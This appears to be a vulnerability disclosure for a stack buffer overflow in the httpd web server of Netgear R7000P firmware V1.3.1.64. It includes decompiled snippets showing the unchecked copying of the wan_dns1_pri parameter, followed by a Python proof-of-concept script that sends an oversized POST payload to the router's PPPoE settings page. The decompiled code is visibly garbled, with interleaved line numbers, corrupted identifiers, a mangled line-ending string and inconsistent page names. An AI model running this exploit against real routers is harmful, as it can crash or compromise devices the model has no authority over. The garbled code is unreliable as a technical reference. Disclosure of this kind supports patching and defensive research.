

# **Netgear R7000P has a Stack Buffer Overflow Vulnerability**

#### **Product**

- 1. product information: https://www.netgear.com
- 2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64\_10.1.36.zip

#### **Affected version**

V1.3.1.64

## **Vulnerability**

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub\_26B84 function, which can be accessed via the URL http://routerlogin.net/BAS\_pppoe\_flet.htm .

```
sub_1A54C(a1, "DNSAssign", s1, 2048);
23
24
    acosNvramConfig set("wan dns sel", s1);
25
    if ( dword_1E4814 )
      acosNvramConfig_set("pppoe_wan_dns_sel", s1);
26
27
    if (!strcmp(s1, "1"))
28
29
     sub_1A54C(a1, "wan_dns1_pri", s, 2048);
      sub_1A54C(al, "wan_dns1_sec", dest, 2048);
30
31
      v2 = strcmp(dest, "...");
      if (!v2)
32
33
      {
34
        v4 = -1586:
35
        v3 = &v21;
36
37
      v18 = 4;
      if (!v2)
38
39
        LOBYTE(v3[v4]) = 0;
40
      v19 = 5;
41
      v20 = strlen(s);
42
      v17[0] = 15;
43
      if ( sub_D1B9C(v18, v19, v20, v17) )
44
        return -1;
      if ( dest[0] )
45
46
47
        v18 = 4;
48
        v19 = dest;
49
        v20 = strlen(dest);
50
        v17[0] = 15;
51
        if ( sub_D1B9C(v18, v19, v20, v17) )
52
           return -1;
53
      sprintf((char *)v13, "%s %s", s, dest);
                                                     vuln1
54
55
       acoswvramcontig_set( wan_dnsi , Vis);
56
      if ( dword 1E4814 )
         acosNvramConfig set(&unk 107ED5, v13);
57
58
      v5 = v13;
59
```

Parameter wan\_dns1\_pri, is controllable and will be copied to v13 by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

```
v11 = strchr((const char *)v17, 32);
  93
  94
              if ( v11 )
   95
              {
                strncpy(dest, (const char *)v17, v11 - (char *)v17);
   96
                fprintf(v7, "nameserver %s\n", dest);
   97
   98
                strcpy(s, v11 + 1);
                if ( 5[0] )
  99
                  fprintf(v7, "nameserver %s\n", s);
                                                           vuln2
0 100
  101
0 102
              fclose(v7);
0 103
              snprintf((char *)&v18, 0x64u, "-%d", 1);
0 104
             v13[1] = &v18;
             v7 = 0;
0 105
0 106
             v13[3] = 0;
0 107
             v13[0] = "killall";
0 108
             v13[2] = "dnsmasq";
              eval(v13, ">/dev/console", 0, 0);
0 109
  110
```

Parameter wan\_dns1\_pri also can be copied to v7 by fprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

### **PoC**

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'wan_dns1_pri='+ pl +'&wan_dns1_sec=1' # payload -- wan_dns1_pri
p3 = b"POST /BAS pppoe flet.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```

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